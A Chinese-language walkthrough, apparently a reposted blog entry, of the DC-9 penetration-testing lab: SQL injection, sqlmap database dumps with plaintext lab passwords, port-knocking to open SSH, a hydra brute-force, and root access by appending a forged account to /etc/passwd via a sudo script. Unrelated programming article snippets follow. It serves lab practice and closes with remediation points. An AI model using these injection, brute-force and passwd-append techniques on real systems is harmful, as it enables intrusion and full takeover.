DC-9渗透测试复现

DC-9渗透测试复现

目的:

获取最高权限以及flag

过程:

信息打点--sql注入- 文件包含漏洞-Knockd开门开启ssh连接-hyjra爆破-sudo提权(文件追加)

环境:

攻击机:kali(192.168.85.137)

靶机:DC_3(192.168.85.141)

复现:
一.信息收集

nmap -sP 192.168.85.0/24
或者:
arp-scan -l

 发现主机之后 继续扫描端口 发现80网页端口和22端口 但是status为被过滤的

服务器为apache 2.4.38 并没有看到cms

AWVS 扫描发现sql注入漏洞

EXP: 

POST /results.php HTTP/1.1Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestReferer: http://192.168.85.141/Cookie: PHPSESSID=bup6qprsevlk7mded0vpt3bgcfAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip,deflate,brContent-Length: 55User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4512.0 Safari/537.36Host: 192.168.85.141Connection: Keep-alivesearch=-1'%20OR%203*2*1=6%20AND%20000660=000660%20--%20
二.漏洞利用

然后sqlmap一把梭

sqlmap -r 'dcp.txt' --batch --current-db

得到库名 Staff

 

 

sqlmap -r 'dcp.txt' --batch -D Staff -T Users -C 'UserID,Username,Password' --dump

得到admin的账号密码 

1      | admin    | 856f5de590ef37314e7c3bdf6f8a66dc

解密得到 admin /transorbital1

 

ssh连接失败

登入进去 发现有个添加用户的功能 测试后发现没有什么利用的点 有一些用户泄露的信息,然后发现下面这个  这不妥妥的文件包含吗

测试发现确实存在文件读取漏洞

原来没有admin用户 怪不得ssh连不上

服务器是Apache,也找不到Apache配置文件的位置..,尝试写webshell 但不知道webshell的文件路径

但是这些账号密码又是之前信息收集的那些用户名

但是又不能ssh连接 但开启22端口

状态为 filtered  而不是open 那我们就搜一下filtered 估计是被隐藏了 搜索发现很可能是Knockd隐藏

通过Knockd隐藏SSH,让黑客看不见你的服务器 - 知乎 (zhihu.com)

cat下Knockd的配置/etc/knockd.conf

[options]UseSyslog//用来定义日志输出位置以及文件名[openSSH]sequence    = 7469,8475,9842//设置(开门)敲门顺序,可以自定义seq_timeout = 25//设置超时时间command     = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//开门成功后添加防火墙规则命令(打开SSH端口)tcpflags    = syn[closeSSH]
sequence    = 9842,8475,7469 //设置(关门)敲门顺序,与开门顺序相反seq_timeout = 25
command     = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT//关门成功后删除之前添加的防火墙规则(关闭SSH端口)tcpflags    = syn

接下来我们用nmap进行敲门

for x in 7469 8475 9842; do nmap -p $x 192.168.85.141; done

成功开启22

问题是账号密码呢 当时库里面只有admin啊 那估计就是库名的问题,我们重新看一下dbs 因为之前爆破的是current-db 所以估计有遗漏

重新扫描发现存在user库 这就是前期信息收集没收全的后果

得到账号密码

sqlmap -u "http://192.168.85.141/results.php" -data "search=1" -D users -T UserDetails -dump

 

| 1  | Moe        | 3kfs86sfd     | 2019-12-29 16:58:26 | marym     | Mary      || 2  | Dooley     | 468sfdfsd2    | 2019-12-29 16:58:26 | julied    | Julie     || 3  | Flintstone | 4sfd87sfd1    | 2019-12-29 16:58:26 | fredf     | Fred      || 4  | Rubble     | RocksOff      | 2019-12-29 16:58:26 | barneyr   | Barney    || 5  | Cat        | TC&TheBoyz    | 2019-12-29 16:58:26 | tomc      | Tom       || 6  | Mouse      | B8m#48sd      | 2019-12-29 16:58:26 | jerrym    | Jerry     || 7  | Flintstone | Pebbles       | 2019-12-29 16:58:26 | wilmaf    | Wilma     || 8  | Rubble     | BamBam01      | 2019-12-29 16:58:26 | bettyr    | Betty     || 9  | Bing       | UrAG0D!       | 2019-12-29 16:58:26 | chandlerb | Chandler  || 10 | Tribbiani  | Passw0rd      | 2019-12-29 16:58:26 | joeyt     | Joey      || 11 | Green      | yN72#dsd      | 2019-12-29 16:58:26 | rachelg   | Rachel    || 12 | Geller     | ILoveRachel   | 2019-12-29 16:58:26 | rossg     | Ross      || 13 | Geller     | 3248dsds7s    | 2019-12-29 16:58:26 | monicag   | Monica    || 14 | Buffay     | smellycats    | 2019-12-29 16:58:26 | phoebeb   | Phoebe    || 15 | McScoots   | YR3BVxxxw87   | 2019-12-29 16:58:26 | scoots    | Scooter   || 16 | Trump      | Ilovepeepee   | 2019-12-29 16:58:26 | janitor   | Donald    || 17 | Morrison   | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2  | Scott     

账号密码这么多 那不可能一个个测呗 直接上hydra了,账号保存为username.txt  密码保存为password.txt

hydra -L username.txt -P password.txt 192.168.85.141 ssh -t 30

得到三组账号密码

chandlerb UrAG0D!joeyt Passw0rdjanitor Ilovepeepee

 

前面两个经过测试没有有用的信息 我们直接看第三个

看看有木有什么能够提权的函数

linux版本为4.9那chfn和chsh提权就使用不了了

尝试sudo -l 也不行 那估计得换用户了


继续收集信息

看一下隐藏文件 然后发现一个secrets 进入访问得到一些新的密码 我们加入到之前的password.txt 继续进行hydra工具进爆破

BamBam01Passw0rdsmellycatsP0Lic#10-4B4-Tru3-0014uGU5T-NiGHts

最终得到 新的用户密码fredf : B4-Tru3-001

我们进行登入

看下sudo提权

没啥利用的啊看起来 看了test全是乱码

 

回到上级目录继续查看 发现py文件


i

import sysif len (sys.argv) != 3 :print ("Usage: python test.py read append")sys.exit (1)else :f = open(sys.argv[1], "r")output = (f.read())f = open(sys.argv[2], "a")f.write(output)f.close()

这段代码根据命令行参数,读取一个文件的内容,并将其追加到另一个文件中。如果命令行参数不符合要求,将打印出用法信息。

三.提权

按照/etc/passwd的格式,写一个root权限账号出来,放在/tmp/wenda 里,再脚本追加写入 /etc/passwd 里。 所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存

使用openssl工具创建一个本地的加密用户,命令

openssl passwd -1 -salt admin admin

 

$1$admin$1kgWpnZpUx.vTroWPXPIB0

 然后把它按照passwd的格式送到 /tmp/wenda 

echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/wenda

使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中

sudo ./test /tmp/wenda /etc/passwd

 

然后我们切换成admin 用户就变成root权限获得flag 

修复: 

1.关闭22ssh连接端口

2.利用参数化的查询阻止 SQL 注入,应用程序开发人员应避免通过转义或删除特殊字符(攻击者可能会利用来绕过此类保护的一些编码技巧)来清理输入内容,并坚持使用参数化查询,以避免出现 SQL 注入漏洞

3.关闭LFI等防止文件包含漏洞

4.取消能够提取的shell命令

DC-系列总结:

差不多10天的时间终于把DC系列刷完 ,收获还是蛮多的 渗透流程的话 前期信息收集太重要了,这个方面可以借助一些工具 像NMAP AWVS等工具或者框架识别插件都额可以 ,然后利用这些信息进行下一步的渗透,比如有没有现成的漏洞库去利用 百度 谷歌 以及kali自带的漏洞库都能去收集,发现漏洞后就是要控制对方主机了 ,然后继续收集信息 进一步提权.

下一步计划是准备进行红日的更深层的内网渗透 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/825039.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

javaswing + mysql通讯录

javaswingaddressbook 需要代码私聊

Day15-Python基础学习之PySpark

PySpark 安装: pip install pyspark # pySpark入门 from pyspark import SparkConf, SparkContext # 创建SparkConf对象 conf SparkConf().setMaster("local[*]").setAppName("test_spark_app") # 基于SparkConf类对象创建SparkContext对象 …

结构体及应用;结构体指针及应用;union、enum、typedef三个关键字

结构体及应用 参考文章链接:https://blog.csdn.net/zw1996/article/details/53844585结构体的声明 结构体的初始化 注意如果在定义结构体变量的时候没有初始化,那么后面就不能全部一起初始化了。 /这样是可以的,在定义变量的时候就初始化了…

C语言【复合类型(自定义类型)】

一、结构体 结构体(struct)可以理解为用户自定义的特殊的复合的“数据类型”; 1. 结构体变量的定义和初始化 定义结构体变量的方式: 先声明结构体类型再定义变量名 在声明类型的同时定义变量 // 结构体类型的定义 struct stu {char name[50];int age;…

(十四)C++自制植物大战僵尸游戏windows平台视频播放实现

植物大战僵尸游戏开发教程专栏地址http://t.csdnimg.cn/8UFMs VLC库 在Cocos2d-x游戏开发框架中,没有实现windows平台视频播放的功能,需要自定义实现。在本项目中使用vlc库实现windows平台的视频播放功能。 vlc官网:网址 下载完成后&#x…

虚幻引擎源码版安装下载,点击GenerateProjectFiles.bat报错 error NU1101NuGet包问题解决参考方案

开发环境配置与源码安装使用 安装VS2022 按照官方文档安装需要的vs配置 虚幻引擎源代码下载 Epic里面下载的引擎与源代码引擎区别:Epic里面下载的引擎是已经编译过的它的源代码访问权限不完整,源代码版本提供比较完整引擎代码,并且可以修…

密码学 | 承诺:Pedersen Commitment

​ 🥑原文:密码学承诺之 Pedersen Commitment 原理及应用 🥑写在前面:本文属搬运博客,自己留存学习。 ​ 1 承诺 密码学承诺方案是一个涉及双方的 二阶段 交互协议,双方分别为 承诺方 和 接收方。 第…

MDK stm32怎么生成bin文件

第一种 D:\Keil_v5\ARM\ac5.6\bin\fromelf.exe --bin -o ../../Output/atk_f407.bin ../../Output/atk_f407.axf 空格解析 D:\Keil_v5\ARM\ac5.6\bin\fromelf.exe一个空格--bin一个空格-o两个空格../../Output/atk_f407.bin ../../Output/atk_f407.axf (注意后…

OWASP 发布十大开源软件风险清单(详解版)

近日,OWASP发文称,尽管软件供应链对开源软件 (OSS) 的依赖程度很高,但业内缺乏一致的用于了解和衡量OSS风险的方法。OSS 风险管理始于许可管理,之后延伸至CVE,但我们仍然缺乏与安全、法律和运营相关的全面的OSS风险管理…

ELK,ELFK日志收集分析系统

ELK简介 ELK是一套完整的日志集中处理解决方案,将ElasticSearch,Logstash和Kibana三个开源工具配合使用,实现用户对日志的查询、排序、统计需求。 ELK工作原理 在所有需要收集日志的服务器上部署Logstash,或者先将日志进行集中…

Python 判断一个数是否为素数

在Python中&#xff0c;判断一个数是否为素数可以通过多种方法实现。以下是一种简单的方法&#xff0c;它通过检查给定数是否有除了1和它本身之外的因数来确定它是否是素数&#xff1a; def is_prime(number):if number < 1:return False # 0和1不是素数if number < 3:…

c# .net 香橙派 Orangepi GPIO高低电平、上升沿触发\下降沿触发 监听回调方法

c# .net 香橙派GPIO高低电平、上升沿触发\下降沿触发 监听回调方法 通过gpio readall 查看 gpio编码 这里用orangepi zero3 ,gpio= 70为例 当gpio 70 输入高电平时,触发回调 c# .net 代码 方法1: Nuget 包 System.Device.Gpio ,微软官方库对香橙派支持越来越好了,用得…

SpringBoot多数据源(二)

SpringBoot多数据源AbstractRoutingDataSource&#xff08;二&#xff09; 1.多数据源配置2.多数据源调用流程3.实现 1.多数据源配置 spring-jdbc模块提供AbstractRoutingDataSource,其内部可以包含了多个DataSource&#xff0c; 然后在运行时来动态的访问数据库 2.多数据源…

vue 组件间通信方式

目录 1、props传递数据&#xff08;父 → 子&#xff09; 2、v-model&#xff08;双向绑定&#xff09; 3、.sync&#xff08;双向绑定&#xff09; 4、ref&#xff08;使用 ref 属性获取子组件的实例或 DOM 元素&#xff09; 5、$emit / v-on&#xff08;子组件向父组件发…

【Python系列】查看虚拟环境信息和包大小

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

Java基于SpringBoot+Vue的蜗牛兼职网系统的研究与实现

博主介绍&#xff1a;✌程序员徐师兄、7年大厂程序员经历。全网粉丝12w、csdn博客专家、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专栏推荐订阅&#x1f447;…

CSS-布局

display display 属性是用于控制 布局 的最重要的 CSS 属性。display 属性规定是否/如何显示元素。 每个 HTML 元素都有一个默认的 display 值&#xff0c;具体取决于它的元素类型。大多数元素的默认 display 值为 block 或 inline。 block block&#xff1a;块级元素。块级…

越来越多服务区安装智慧公厕是什么原因

随着社会的不断发展&#xff0c;人们对生活质量的要求也越来越高。在这种背景下&#xff0c;越来越多的服务区开始安装智慧公厕&#xff0c;以满足人们在出行过程中的生活需求。那么&#xff0c;为什么越来越多的服务区选择安装智慧公厕呢&#xff1f;这其中究竟有哪些原因呢&a…

你信不信,五分钟快速学习Nginx

Nginx是什么&#xff1f; Nginx 是一个高性能的HTTP和反向代理服务器。它是由俄罗斯程序员Igor Sysoev开发的&#xff0c;最初是为了解决俄罗斯大型的门户网站的高流量问题。 说到反向代理&#xff0c;那么有没有正向代理呢&#xff1f; 正向代理&#xff1a;客户端非常明确要…

Swift Publisher 5 for mac:打造精美版面

Swift Publisher 5 for mac&#xff1a;打造精美版面 Swift Publisher 5是一款专业的版面设计和编辑工具&#xff0c;为Mac用户提供了强大的设计功能和直观的操作界面。以下是关于Swift Publisher 5的功能介绍&#xff1a; 直观易用的界面&#xff1a;用户能够轻松地使用Swift …